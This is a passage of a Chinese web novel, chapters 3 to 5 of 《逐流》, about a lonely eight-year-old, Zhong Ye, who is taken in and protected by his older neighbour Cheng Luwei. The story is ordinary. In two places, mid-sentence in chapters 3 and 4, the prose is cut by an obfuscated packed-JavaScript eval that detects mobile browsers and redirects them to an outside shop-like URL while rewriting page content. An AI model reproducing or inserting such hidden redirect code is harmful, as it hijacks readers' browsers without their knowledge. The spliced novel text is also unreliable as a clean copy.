《逐流》 3. 第 3 章 钟烨来北城那年只有八岁。 那天是周五,钟鸿川在医院忙着做手术,送他来的二姨赶着去坐末班车,连人带包袱把他丢在大门口,匆匆忙忙就走了。 九月初,小院儿里的爬山虎还没开始掉叶。 程陆惟中午放学踩着滑板车回来,阴凉的楼梯口坐着个陌生小孩儿,双手抱着书包,细胳膊细腿儿的,不知道蹲了多久,短袖下方的手腕已经被毒蚊子叮出了好几个大包。 下午是体育课,程陆惟回家换衣服顺便吃午饭,见对方眼生,路过捡起滑板问道:“你是谁家小孩儿?怎么不回家?” 谁知小孩儿根本不吭声,也不理人,眼皮往上抬了抬,很快落下去。 连看都没带看他一眼。 那会儿的孩子都是放养,程陆惟从小就是孩子王,小院儿里上到高中,下到幼儿园,没有谁他会不认识。 饭桌上,他扒着碗里几根青菜问陆文慧,陆文慧告诉他那是楼下钟医生的儿子。 “钟医生结过婚?”程陆惟条件反射抬起头。 “胡说什么呢?”陆文慧端着汤从厨房出来,“没结婚哪儿来的孩子。” 说不惊讶是不可能的,两家正好楼上楼下地挨着,程陆惟遇到钟鸿川的次数不算少,每回都客客气气地叫声钟叔叔。但这么多年了,程陆惟从没见过这家有女主人,更没想到会突然冒出这么大个孩子。 陆文慧看出他儿子在想什么,盛饭时叹口气:“听说钟烨妈妈走得早,钟医生工作忙,以前都把他养在亲戚家。” 钟烨从出生就养在南方。 那里的教育资源相对落后,不比北城这样的大城市。 原本到上小学的年纪,钟烨就该被送回来的,没想到钟鸿川临时被安排出国交流,一去就是大半年,最后硬是拖到第二年才给转过来。 那时的邻里关系还没那么冷漠,小院儿里谁家有个急事,相互之间都会搭把手。 钟鸿川一直没出现,陆文慧盛好饭,想把孩子叫上来一起吃午饭,没叫动。 再下楼的时候,程陆惟站在楼梯口,从包里掏出一瓶汽水递给他:“喝水吗?柠檬味儿的。” 钟烨看一眼,扭过头不要。程陆惟也没管那么多,自顾自塞进他怀里。 小院儿来新人是件稀罕事。钟烨脸显小,个子还没怎么发育,看不出年纪。 加上自幼养在南方,皮肤白皙透着点红,比其他成日里满地打滚,风吹日晒的小孩儿要好看许多。 等程陆惟晚上再放学回来,他周围已经站了好几圈,盯着问他是谁,哪儿来的。 钟烨不出声,皮坏的小孩儿就指着他吆喝:“这该不会是个哑巴吧?” 人群迸发大笑,他也不反驳,抿着嘴,环抱书包的手攥得死死的。 “骂谁哑巴呢?”程陆惟在背后喊。 说话的男孩儿扭脸一看是程陆惟,有些打怵,不吭声了。 没到青春期的孩子都胆小。 个矮的怕个高的,年龄小的怕年龄大的。程陆惟比其他小孩儿都大,十二岁,在小院儿里有着绝对的话语权。 他走过去,沉着张脸吓唬人,“到点儿了就各回各家,别站这儿挡道。” 围着的小孩儿鱼群般就这么散了去。 程陆惟是跟同学踢完一场球回来的,满身是汗,头发上还挂着莹润的水珠。 天色已经暗了,楼里楼外飘着热乎乎的饭菜香,他站在台阶前往旁边门口看一眼,行李还在,原封不动地没人碰过。 “你爸还没回来?” 或许是程陆惟把人都赶走了,钟烨对他的态度有些许不一样,摇了摇头。 “叫什么名字?”程陆惟又问。 “钟烨。”声音很小,但开口了。 “会说话啊,”程陆惟笑着看他,“我还以为你真哑巴呢。” 这句哑巴和刚才那句明显不一样,不带任何恶意,钟烨目光于是往上抬了点。 他蹲着,程陆惟站着,身高差距太大,没瞧见脸,只注意到程陆惟球服胸口大大的两个数字,17。 陆文慧在屋里喊,程陆惟三步并两步跑上楼。 家里炒菜缺东西,程陆惟被支去超市一趟。回来时,钟烨又换了个姿势,书包从腿挪到地上,两只胳膊抱着已经开始发抖发麻的膝盖,头埋在中间。 像极了没人要连‘呜’都不会‘呜’一声的小狗。 程陆惟看了他一会儿,拎着塑料袋过去,“你爸来电话了,让你先到我家吃饭。” 钟烨闻言仰起头,眼睛里映着点楼道顶灯洒下的白色光斑,衬得他瞳仁又黑又亮。 “怎么样?走不走?”程陆惟撒谎都不带脸红。 楼下小孩儿太倔,谁都喊不动。 陆文慧正犯愁。门从外面被推开,陆文慧意外地愣住,程陆惟已经把人领了回来。 “妈,能吃饭了吗?”程陆惟换着鞋问。 母子二人偷偷递了个眼神,陆文慧连忙应声:“诶,好了好了,马上就好,你俩先去洗个手。” 钟烨还定在门口,双腿挨着,闭得紧紧的。程陆惟冲他指了指卫生间,钟烨眼一瞟,于是挪着步子,放下书包,连走带跑地往里去。 实在是憋坏了。 楼梯口蹲了整整一天,下午还喝了程陆惟给的一大瓶饮料。如果再不上楼,钟烨下一秒就得尿裤子里。 程陆惟多精啊,明明早就看出来,还编了个理由把人领进屋,到最后也没拆穿他。 八岁的钟烨,不爱说话,也不理人,性格别扭还挺倔。 这就是程陆惟对他最初的印象。 程肃峵当时还在基层法院工作,经常加班,陆文慧把饭菜装进保温壶要去单位给他送饭,临走前叮嘱程陆惟看着点弟弟,转头接着对钟烨说:“不够吃就让程陆惟给你盛,吃完放着就行。” 钟烨安静地坐在餐桌前,点点头。 那个年代的娱乐活动有限,大人小孩都喜欢凑堆。院儿里来了一辆卖糖人的小推车,程陆惟饭没吃完就被人叫走了。 陆文慧回来的时候,屋里是空的,饭桌上也是空的,厨房干干净净,碗碟筷子像等待阅兵一样,整整齐齐地摆在灶台。 她还纳闷儿,什么时候程陆惟开始主动洗碗做家务了,还伸手摸了摸,碗碟边缘一点油渍都没有。 外面有动静,她在厨房里头扬声喊:“程陆惟,碗是你洗的?” 程陆惟是跟他爸一起回来的。他在楼下玩了一通,跑得满头大汗,进屋直奔冰箱里拿了瓶饮料拧开,“什么碗,没有啊?” 程肃峵进来瞧,问怎么了。 “楼下钟医生孩子洗的碗,”陆文慧心情顿时有些复杂,“比你儿子洗得都干净。” 钟烨上的是子弟小学,和程陆惟一样。 不过年龄差了四岁,钟烨在二年级,程陆惟是六年级。 学校离家三公里,公交车五个站,程陆惟不愿意去,嫌车上人挤人味儿太重,宁愿每天骑车去学校。 钟烨不行。他不会骑车,也没有自行车,只能老老实实地去坐公交。 起初他以为算好时间就可以,结果人实在太多,上班的上学的全赶那一趟,他要么挤不上去,要么挤不下来。 早读时间是七点五十,程陆惟是三档杠的大队长,经常跟学生会干部一起在校门口查岗执勤,那阵子几乎每天都能抓住迟到的钟烨。 程陆惟有些不忍心,某天早上骑车等在楼道口,见钟烨拎着书包,挂着红领巾从屋里出来,主动打起招呼:“早啊小叶子。” 没人这么叫过,钟烨闻言都愣了,看他一眼,拽住门锁很轻地关上门,说:“早。” “要不要坐我的车去学校,”程陆惟单腿撑在地上,拍拍自己的车后座,唇角微扬,“要的话,叫声陆惟哥来听听。” ‘陆惟哥’不是什么稀奇的称呼。程陆惟天生招小孩儿喜欢,小院儿里大小十多个孩子都爱围着程陆惟打转,每天都有人‘陆惟哥’‘陆惟哥’地喊。 不过钟烨没叫过,也没打算叫。 天还蒙蒙亮,他将书包背上,侧身从程陆惟旁边经过,很礼貌地回复:“不用了,谢谢。” 转学生本就容易受排挤,尤其是钟烨这种本身性格就孤僻的。 学校那会儿每周都有流动红旗评比,以班级为单位,无论谁迟到早退都会导致班级扣分。 钟烨所在的二年三班是资优班。因他迟到太多次,班级连续失去评优资格,别说同学,连班主任对此都颇有微词。 不止如此。 能进这所学校的,大多家里都有点底子。班里当时有个横行已久的小胖子叫蒋志伟,最爱带头欺负同学。钟烨来的第一天,他吆五喝六地把人堵在教室门口,问钟烨:“新来的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073253|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿的?你爸是谁?” 钟烨不理,想绕绕不开就推了他一把。 那一推并不算用力,但蒋志伟估计没想到,没站稳,就这么给推地上摔得四仰八叉,俩人就此结下梁子。 那段时间钟烨的作业本被人无端撕烂过,课本内页也不知是被谁抹了强力胶水。 桌洞和书包里还经常被人塞东西。有是废纸,有时是剩一半的早餐和吃完零食剩下的垃圾袋。 甚至因为被排挤,被无视,连体育课上老师要求组队跳绳,班里也没人愿意跟他搭伙。 小院儿掉落的银杏送走一整个秋,这样的日子也延伸到了秋天结束。 有天早上程陆惟在学校后街买了一碗不太干净的牛肚汤,吃坏了肚子,没下课就冲去了卫生间,出来时意外碰见钟烨正对着水龙头洗他被墨水弄脏的校服。 “怎么这么不小心,校服脏了可是要扣分的。” 程陆惟站旁边洗手,说出口的话带着点笑意,像平常一样是故意逗他的意思。 钟烨顿了一下,不接话也不解释,校服短袖裹着单薄的小身板,头埋得很低,黑色领口露出一小截干净白皙的脖子。 入冬了,室外温度越来越低。 校服布料染上墨汁单靠手搓是洗不干净,程陆惟就在边上静静地看着,看他过于用力的双手搓了半天最后被冰凉的水流浸得通红。 程陆惟于是脱下自己身上的外套,把钟烨从水池前拽开,套到身上。钟烨却像是较上劲了,趁他手一松就要脱,并不愿意接受程陆惟的好意。 小孩儿脾气太拧,程陆惟起身撑在洗手台上,也不拦着,不紧不慢地说:“要么你把衣服穿着,要么就叫声‘陆惟哥’听听,不然不许你出门。” 随即走两步,作势挡在他身前。 钟烨还是没叫过程陆惟。 截止到目前,他俩的关系也仅仅停留在程陆惟偶尔叫声‘小叶子’,钟烨偶尔点头应一声的交情上。 不管是激将法,还是故意逗弄,钟烨这下都不动了,任由程陆惟拉上拉链,把那件长到大腿,连袖子都得挽上好几圈的校服穿回教室。 第二天是全校大检查,学生会的都得提前到场,程陆惟一大早上出门,头还晕乎乎的没睡够,从楼上蹦下来没看路,差点把守在下面的钟烨给撞出去。 “大早上你等这儿干嘛,吓我一跳,”程陆惟一个趔趄,好在及时刹车。他揉了揉眼睛,恢复以往的样子,“怎么?今天想坐我的车了?” 钟烨比程陆惟起得还早,背着书包立在他身前,将手里的小猪存钱罐递过去。 “给我的?”程陆惟接过来一晃,里面‘哗啦啦’响,有纸币也有硬币。 “大清早的,你给我钱干嘛?”程陆惟没闹明白。 钟烨抿起唇角,接着把程陆惟的校服从书包里拿出来。 “你的衣服被我烧坏了。”他低着头,很小声。 胸口位置透着点烧焦的黄,程陆惟有些奇怪:“烧坏了?怎么会突然烧坏了?” 说完猛地想起来,昨晚他下楼扔垃圾,钟烨房间就一直响着吹风机。 “你用电吹风吹的?”程陆惟立马抓过钟烨一只手,掰开掌心,上面赫然两个大水泡。 “你傻不傻。”程陆惟当即脸一沉,哪还顾得上什么校服,立刻丢下书包,回家拿了医药箱下来,坐在楼梯口小心翼翼地把钟烨掌心的水泡挑破,呼口气,给钟烨消毒,之后再贴上纱布。 “电吹风不是这么用的,一件校服而已,我又不急着要。” 钟烨听着,垂着的眼睫很轻地颤动,脊背绷得紧紧地,像个做错事等待惩罚的孩子。程陆惟蹲在地上,包扎完抬起头,这才发现他眼睛是红的,嘴唇用力咬着不让自己出声。 “很疼吗?我弄疼你了?” 钟烨摇头,眼睛鼻子大片地发酸,说话都带了点哭腔:“没有,不疼。” “那你这委屈劲儿,怎么连自己都咬。”程陆惟捏了捏他的脸,又笑着摸他的头,语气是自然的亲昵和带着温柔的哄,“我们叶子该不会是属狗的吧。” 那时候的钟烨多倔啊。 像头小倔驴,被人排挤了不说,被人欺负了也不说。 可是直到前一秒。 直到程陆惟拉着他的手,往他掌心呼口气,不知道为什么,他就那么委屈,委屈地想哭,眼泪都止不住。 4.第 4 章 作为国内首屈一指的神内专家,八院主管行政的副院长,钟鸿川回家的次数是有限的。 平时就不见人,再遇上年底一堆检查汇报,以至于阿姨有事辞职了,钟烨完全没人管饭的事他都忘在了脑后。 偶然一次,陆文慧下楼送东西,发现钟烨在用电饭煲给自己做饭,冰箱里放的还不知道是哪顿吃剩下的剩菜,当即心疼坏了,硬把钟烨拉回到了自己家。 八岁正是长身体的时候,哪能吃些隔夜菜。 何况这么大点孩子,自己用电饭煲微波炉,出事了怎么办。陆文慧心善,看孩子可怜,和程肃峵事先商量了半天,主动跟上门来接人的钟鸿川提出,如果实在忙不过来的话,以后可以让钟烨来家里吃饭,反正一个孩子的饭是做,两个孩子的饭也是做。 程家愿意帮忙,钟鸿川自是感激不尽。他长期夜班白班轮轴转,忙起来根本无暇分身,连声向夫妻俩道谢。 程家的家庭氛围很轻松,没那么多讲究。 那阵子,有一出古装探案剧每晚都在饭点时播出,程陆惟看得入迷,吃饭都蹲在电视机前,连桌都不上。 钟烨就比他规矩多了,吃饭不出声,夹菜只看眼前。吃完让他去玩也不去,等大家都放筷了,立马起身就要帮忙收拾。陆文慧看到后不让他动,拉着他严肃认真地说:“小烨,你还小,以后在我们家不用你洗碗,知道吗?” 跟其他孩子比起来,钟烨那会儿瘦得有点营养不良,个子也偏矮,坐在椅子上脚都够不到地。 陆文慧哪能忍心让他做这个。 可钟烨听完拧着眉,也不动。陆文慧于是编出个理由:“咱家的规矩,从来都是谁最后放筷,谁洗碗。” 电视演完了,程陆惟恰好听到后半句,“我们家什么时候有的这规矩?我怎么不知道?” 陆文慧立马瞪他一眼,“怎么不是!” “哦,对,”程陆惟反应快,放下碗筷,拍拍钟烨肩膀,“放心吧叶子,你爸每个月给你交了生活费,你就当这是学校食堂,只管吃就行。” 钟烨在学校被欺负的事,也是陆文慧先知道的。 期中考过后,学校组织开家长会。六年级是毕业班,程陆惟成绩拔尖,陆文慧去学校就是走个流程,没想到离开时却被钟烨的班主任老师找上门,说是联系不上钟烨爸爸,不得已才找到她。 陆文慧囫囵听完,回家路上牵着钟烨问他:“有人欺负你,为什么不告诉爸爸?” 钟烨看着并不想说,过了好几秒才低声回:“不想给他添麻烦。” “不想给他添麻烦,你听听这叫什么话!”陆文慧一口气堵在胸口,到家了都还没消下去,“哪家孩子能说出不给亲爹添麻烦这种话。” 程肃峵拿着报纸坐在沙发上,喝口茶说:“可能是从小没养在身边,关系有些生疏。” 父子俩关系很陌生,这是周围邻居一致的看法。 钟烨自出生就被寄养在亲戚家。小婴儿不讲道理只有本能,饿了要吃,困了要睡,需求不被满足就会哇哇大哭。 钟烨从来不会。连收养他的叔叔婶婶也说他很乖,永远安安静静地,不哭也不闹,一点也不折腾人。 但其实不是。 以前的钟烨并不是毫无脾气,他也会跟人争,跟人生气,甚至跟人动手打架。 那是五岁的时候,他被婶婶带回乡下走亲戚,大帮小孩儿不知道从哪儿听来的闲话,一群人把他围在中间嘲笑他是没人要的小孩。钟烨攥着小拳头,嘴角绷成直线,气急了大声反驳:“我不是,我有爸爸。” “你妈都死了,他把你丢在这里,马上还会找新老婆,给你生一个新的弟弟妹妹,不会再要你了。” 小孩子纯粹的恶意最伤人,钟烨咬着腮帮子,难堪愤怒却无从辩驳,只能冲上去和对方扭打。 他们站在空旷的院坝里。 寒冬腊月,钟烨背后正好有一口新打好还没来得及封盖的井,周围没有任何防护,上面只用一张竹篱笆盖着。 对方人多,期间不知是谁猛推一把,钟烨被推得踩上去,当即‘咔嚓’一声掉到井里。 冬天的井水如寒冰刺骨,水流没过头顶,冲击耳膜,溺水的窒息感拽着钟烨无止境地往下沉。 那是钟烨有生之年离死亡最近的一次。 而作为父亲的钟鸿川,一生治病救人无数,却从不知他的亲儿子曾经也在生死之间,在最无助和恐惧的时刻期盼他的出现。 程家没有背后聊别人闲话的习惯。 只是做母亲的大抵感性,陆文慧听了那句‘不想给他添麻烦’心里实在难受得发酸。 也就是个八岁的孩子,在学校里被排挤被欺负也不出声,不会告老师,也不会告家长。 没人管就自己做饭,在别人家还会主动洗碗。 那个年代查生育查得非常严格,都是独生子女,像小院儿里这些不愁温饱的家庭,更是把孩子宠得无法无天。 别说洗碗,八九岁了还得老人追着喂饭的都有。甚至就连马上快要上初中的程陆惟也没做过什么家务。 根本就没有一个像钟烨这样,懂事敏感得让人心疼。 “这孩子母亲在他出生时就去世了,你说钟医生该不会.....”陆文慧边摘菜,边忍不住心酸叹气,最后看眼程肃峵,没把这话说完,转身进了厨房。 卧室连着客厅,门是敞开的,程陆惟在自己的小房间写作业,视线正对窗外干枯的银杏树发呆。 程陆惟对这些并不知情。 陆文慧说钟烨在学校被欺负的时候,他还很惊讶,完全没往那方面想过。 如今回忆起来,才慢慢察觉到端倪。 比如钟烨在学校里始终都是一个人,没什么朋友。 比如好几次带队检查班级纪律,他看到的都是钟烨一人一桌,孤零零地缩在教室后排。 他以为是钟烨性格太闷。毕竟平时放学他也这样,有人跑墙根儿底下敲窗户叫他好几次都叫不动,宁愿在家呆着写作业也不愿出去跟同龄人玩儿。 不爱理人的小孩儿到哪儿都吃不开。 小学生精力旺盛,最能自娱自乐,每天都能发现一些新鲜玩意儿,很快就把他抛弃了。 跟他爸相处也透着陌生。 即便是钟鸿川在的时候,程陆惟路过他们家,里面也总是静悄悄的,落针可闻,父子俩像是根本不怎么说话。 程陆惟很难无动于衷。 他是个什么样的人呢。 善良心细,虽然年长但大多数时候都没什么架子。尤其看人的时候,眼尾带着微弯的弧度,目光柔和。 不止院儿里小孩儿喜欢,甚至就连墙角新生的小野猫也爱跟他亲近。 钟烨自然不是小野猫。他倔强孤僻,心思重。按理说,久而久之,这样的小孩儿不会再有几个人愿意搭理。 但程陆惟对他就是跟别人不一样。 陆文慧没说完的话,程陆惟并不完全能明白。 他低头写作业,好几道数学公式都算错了,根本看不进去,脑子里想的全是那天早上守在单元楼门口,用力咬着嘴唇,强忍眼泪不让自己哭出声的钟烨。 北城那年的冬天格外冷,几场雪过后,小院儿里的银杏枝头开始挂起晶莹剔透的冰条,学校教室的窗玻璃也被暖气烘烤出厚厚一层冰雾。 上午的大课间,外面有点吵。钟烨坐在教室里,不停地揉搓自己的双手。 最近天太冷,为了不迟到,他需要比以前更早起床去赶公交。南方的冬季潮湿阴冷,室内没有暖气,钟烨每年冬天都会长冻疮,固定的几个位置年年发作。 今年也不例外。 左边耳朵和右手食指小拇指,都长了。 冻疮被暖气烘烤以后容易发痒,钟烨搓得那块指节都有些掉皮,前排的小眼镜转过身,拿出一盒小小的冻疮膏,对他说:“擦点这个试试,我奶说很好用。” 钟烨摇头,拒绝了对方好意。 小眼镜也不尴尬,钟烨来班里大半学期,一直都是这个性子。虽然常常拒人于千里之外,但他觉得钟烨并不难相处。 至少钟烨不会欺负人,也不会在背后说人坏话。偶尔他需要问一下作业,或者想借笔和橡皮的时候,钟烨从来都很大方。 “对了,我昨天看到陆惟学长来找你,你不在,蒋志伟就跑去问他跟你什么关系,他说你是他弟,你们真是亲戚吗?”他趴在钟烨桌子上,玻璃镜片反着头顶冷白色的光。 钟烨搓手的动作停下来,眼睛看向他。 小眼镜见他默不作声,眨眨眼睛,仰脸又问:“真的是啊?” 钟烨动动嘴唇,还没来得及开口,上课铃忽然响了,走廊上的同学嬉笑着鱼贯而入,让他没机会再出声。 程陆惟为什么会说自己是他弟弟,钟烨不知道。 最近他总在课间找过来,有时是给钟烨送书,有时就是单纯地把钟烨叫出去,顺手塞给钟烨一两包零食。钟烨可以拒绝零食,却不能拒绝程陆惟送来的书。 原因很简单,那些都是他被人弄坏了的课本。 他不知道程陆惟怎么知道的,也没问,只能生硬地对程陆惟说:“谢谢。” “跟我这么客气,”程陆惟顺道过来检查班级卫生,笑着问,“道谢也不知道叫人?” 钟烨抿唇,有点张不开口,程陆惟也不勉强,抬手揉了两下钟烨的头发。 “这真是你弟啊?”跟在旁边的同学忍不住好奇问。 程陆惟边往班里看,边用笔做记录,“昂,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093253|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟。” 同学笑着又撞了一下他的胳膊,“那你弟怎么都不说话,跟你生气呢?” “他倔。”程陆惟毫不在意,路过前门往里看,钟烨依旧一个人埋头坐在后排。 那时的程陆惟就像是钟烨的对立面,是挂着三道杠的大队长,老师同学眼中的绝对焦点。 但凡有任何实践活动,或者对外宣传的地方,校长和教导主任都会第一时间找他。 也许是程陆惟的频繁出现。 渐渐地,钟烨被排挤和孤立的状态有了缓解,连蒋志伟好像都不再无缘无故找他麻烦。 进入严冬过后,天亮得越来越晚。 程陆惟早上被暖气热醒,睁眼时,外面天还是黑的,窗棱结了厚厚一层冰霜。 他起身,懒洋洋地贴着窗户往外看,正巧看到钟烨踩着一地厚厚的积雪出发去公交车站,身后是一串细细长长孤独的脚印。天色阴霾,路灯还没灭,那只被罩住的影子也瘦瘦小小的,透着股倔强的韧劲儿。 直到人影消失,程陆惟忽然想起什么,从床上猛地蹦下来,衣柜箱子乱翻一通,随后拎上书包就往外冲。 他骑着车飞速冲向公交站。 但没找到人。 别说人,连个鬼影子都没有,站牌上已经贴了告示,说因公交线路整修,即日起,本站点将暂时关闭。 日期落的恰好是今天。 大雪裹着寒风往下坠,四周白茫茫的一片。程陆惟骑车往前找,最后好不容易在高架桥上发现个人影。 “叶子——”他第一时间大喊。 钟烨停在路边,茫然回过身,头上肩上都落满了雪,两只胳膊紧紧抱着,冻得瑟瑟发抖。 程陆惟两步蹬到他身前,急促地喘着气,额发已经被不知是雪还是汗的给润湿。 “上车吧,”程陆惟单腿踩在雪地上,往身后一偏头,“我带你去学校。” 不知道是不是冻傻了,钟烨跟座冰雕似的立着不动。 “怎么?”程陆惟拍掉他肩膀还有头上的积雪,“这么冷的天,难道你想走去学校?” 钟烨回过神,嘴唇抿了又抿。 他原本是这么想来着。可距离太远,别说去学校,钟烨连自己此时在哪儿都不知道。 如果程陆惟不出现,他甚至很可能找不到回家的路。 实在是太冷了,风吹在脸上跟刀刮似的,能生生给你削掉一层皮。钟烨于是挪着有些冻僵的腿爬上程陆惟后座,小声说‘谢谢’。 程陆惟也没急着走,摘掉手套,从书包里掏出寄养东西往身后递:“先把这些戴上,不然你耳朵和手上的冻疮会更严重。” 是手织的三件套。 毛线帽子,毛线围巾,还有毛线手套。 钟烨垂眼一看,没接。程陆惟等半天转过身,看他嘴唇冻得发紫,露在外面的两只耳朵尖都挂着霜。 程陆惟冲掌心呼了口气,两只手先给他捂了会儿,直到感觉有点温度了,问还冷吗? 钟烨低着头,说不冷了。之后戴好帽子,再系上围脖,抬着钟烨下巴,认真看了看。 “嗯,还行,尺寸刚刚好。”说完拽过钟烨的手塞进手套,“这些都是陆老师以前织的,里面加了鸭绒,戴着暖和吧,反正我也用不上了,正好拿给你。” 他絮絮叨叨,说得理所当然,说完冲钟烨笑笑,然后用力踩动车。钟烨被惯性往前带,鼻梁撞上程陆惟后背。 可能是睫毛上挂着的雪花吹进了眼里,钟烨感觉自己眼睛有点酸,下意识抓紧程陆惟的衣角。 钟烨本不该接受的。 他从小生活在别人家,是客人,不是主人,不曾享受过无条件的被爱。 在他的世界里,只有一套固定运行的法则,得到多少就意味着需要等价付出多少。 他拥有的很少,实在过于匮乏。 陆文慧叫他吃饭,说谢谢不够,他需要把碗洗干净才觉得安心。程陆惟借给他的校服被他烧坏了,不能只说对不起,他就把自己的小猪存钱罐拿去赔偿。 剩下的无论是课本,帽子围巾,还是手套。 甚至程陆惟对他的好,钟烨都不敢接,因为他已经没有什么东西可以拿来做交换。 可北城的冬天真的好冷啊,大雪下完下小雪。 雪花像盐一样,一粒一粒地往下掉,钟烨脸贴着程陆惟最外层的羽绒服,上面有融化的水,冰冰凉凉的,但他的手和耳朵都被毛茸茸地包裹着,并不觉得冷。 程陆惟说这些都是陆文慧织的。 耳边是呼呼的风声,围巾贴近鼻尖,有一种洗衣粉留下的很淡的清香味。 这一刻,钟烨觉得自己有些贪心。 他没有东西交换,可他忽然有点不想松手了。 5.第 5 章 “什么?叶子不叫你哥了?!”婚纱店二楼是挑空设计,方浩宇在试衣间里敞着嗓门喊,楼下新进的客人闻声抬头,好奇地往上看。 程陆惟半仰在靠边软椅上,无奈地单手扶额,“你再大点声儿,外面的人都能给你喊进来。” 方浩宇和程陆惟是发小,跟钟烨也认识,三人算是一起长大的。不过大学毕业后,程陆惟出国,方浩宇去南方呆了几年,大家各奔东西,联系渐渐就少了。 感情这东西很脆弱,无论你认识多久,关系多深,都得倚靠点什么才能维系。 离得远还没交流,久而久之就淡了。 关系再好也不例外。 程陆惟聊起这事儿的时候,心里还是挺失落的。 以前无论是在小院儿,还是在学校,认识程陆惟的都知道他有个弟弟,上下学带着,出去玩带着,打球打比赛带着,就差没别跟绳子拴裤腰带上。 用现在的话来说,程陆惟就是一标准的弟控。 控到方浩宇那会儿就经常在想,程陆惟要真有个亲弟弟,大抵也不过如此了。 “谁让你当初不辞而别的?还一走就是十多年,连糟糠之友都抛弃,你活该!” 衣服换好,方浩宇拉开门帘出来。旁边等候的女店员上前帮他整理领结,方浩宇透过立面镜盯着程陆惟,一脸的幸灾乐祸,“就不叫你哥,就不,看把你给能的!” “你今年几岁了?幼不幼稚。”程陆惟给他说笑了,长腿伸直,坐起身。 周末田峰结婚,他俩今天专程过来试礼服。 程陆惟是钦点的伴郎,方浩宇则会加入到兄弟团参与抢亲。女店员是新来的,一开始还认错了人,误把程陆惟当成新郎,给他拿了定制西装过来。 程陆惟上身试了试,感觉尺寸不对,说这不是我的吧。 他五官生得实在好看,面部轮廓清晰分明,睫毛很长,眉眼英俊,双眼皮褶皱很也深,眼尾一点微弯的弧度勾得人挪不开视线。女店员偷着瞟了好几眼,这会儿脸都红了,“啊,你不是新郎吗?” “不是,我是伴郎。”程陆惟说。 方浩宇对此都习以为常了。正巧田峰从旋转楼梯上来,他伸手一指,“喏,那位才是新郎。” 女店员连声抱歉,立刻转身回去换礼服。 “这位新郎朋友,容我采访一下,”方浩宇翘着二郎腿瘫在沙发上,问田峰,“请校草当伴郎,你是怎么想的?” 婚礼筹备耗时且繁琐,田峰才从酒店那边过来,此时口干舌燥,喝口水说,“这你就不懂了,我不止要让校草给我当伴郎,我还要校草帮我挡酒呢,多有面儿。” “这格局,佩服。”方浩宇惊叹他的厚脸皮,伸手比了个大拇指。 在场仨人是中学同学兼死党,认识得有小二十年了,程陆惟听他俩闲扯都懒得搭理,重新拿了外套进试衣间。 晚上是班长给田峰组织的单身派对,美其名曰婚前最后的狂欢。人多热闹,大伙人好不容易聚到一起,吃完饭还在兴头上,很快又浩浩荡荡转场去了酒吧。 他们这波都在奔四的路上,大部分小孩儿都已经开始上小学,还没结婚的就剩田峰和程陆惟两个。 田峰是程序员,大学毕业开始创业,事业一路起起伏伏,无暇考虑个人问题,算是硬给耽误到现在的。 程陆惟不一样,他跟梁昕娅在一起十多年,感情一直很稳定,就是没听说有要结婚的意思。 饭桌上聊尽兴了,当时就有人感叹‘还以为陆惟会先结婚呢,没想到被阿峰抢了先’。 之后不知道是谁接话‘你别说,还真是,陆惟的喜酒我们还没喝呢,今天都在这儿,得让他给兄弟们个准话,大家也好提前请假不是’。 程陆惟笑着没出声,最后是方浩宇打了个岔,话题这才没延伸下去。 去的地方是个清吧,人少安静,室外摆了几张藤椅,栅栏上还挂了一圈复古小灯,配上爵士乐,氛围感十足。 不过再安静的地方也架不住人多。 耳边全是筛盅和说笑声,方浩宇低头说话,扭头想找程陆惟问点什么,屋里扫一圈没见到人,出来才找到他。 外间就清净了许多,程陆惟坐在高脚凳上独自饮酒。方浩宇要了杯长岛冰茶,坐到他旁边,“干嘛出来了?” “太吵了。”程陆惟说。 方浩宇啧了声,“是怕吵,还是怕被盯着问啊?” “嗯?问什么?”程陆惟喝的是特调,里面混了点高度的龙舌兰和金酒,转过头时,眼睑下方泛着淡淡的红。 方浩宇也不管是不是趁人之危,“问你怎么还不打算结婚,不会分手了吧?” “嗯,分了。”程陆惟看着他,很慢地点点头,“你不是都知道了么,还问。” 方浩宇一口酒辣在嗓子里,缓了半天。 “什么时候的事?” “小半年了吧。” 程陆惟喝了酒也没什么情绪,答得很平静。 他其实并不避讳谈这个,但今天不行,场合不对。满屋都是来给田峰庆祝的,人堆里若真有人执意要问,他答是或者不是都不对,喧宾夺主了。 方浩宇起了话头,一时没接下去。 深究起来,方浩宇其实比程陆惟还要更早认识梁昕娅。 他们都是政法大学毕业的,同级不同专业。梁昕娅个子高挑,气质出众,是全校公认的大美女。 方浩宇从进校开始一见钟情,学院大课和学生会活动上总是想方设法接近对方,还拉着程陆惟给自己出主意。 不过这场单恋并没有开花结果。 梁昕娅拒绝得很干脆。那是个很有想法,也很有魅力的女孩儿。没追到,方浩宇也不遗憾。 就算是后来得知自己的好兄弟跟对方在一起,他也没怎么失落,第一反应是这俩人男才女貌,的确般配。 分手的事儿是前阵子方浩宇参加律协活动听人私下聊起来的。他当时也就听了一耳朵,没过脑子,更没想过去问。 直到程陆惟这趟回国说之后不打算再走了,方浩宇才觉出不对劲。 梁昕娅是坚定的不婚主义者加丁克。 这事儿说大不大,说小也不小,毕竟老人思想都比较传统,总盼着能在退休以后过上含饴弄孙颐养天年的生活。 程陆惟的父母自然也不例外。 “因为什么?父母逼婚?”方浩宇想半天也只能想到这个。 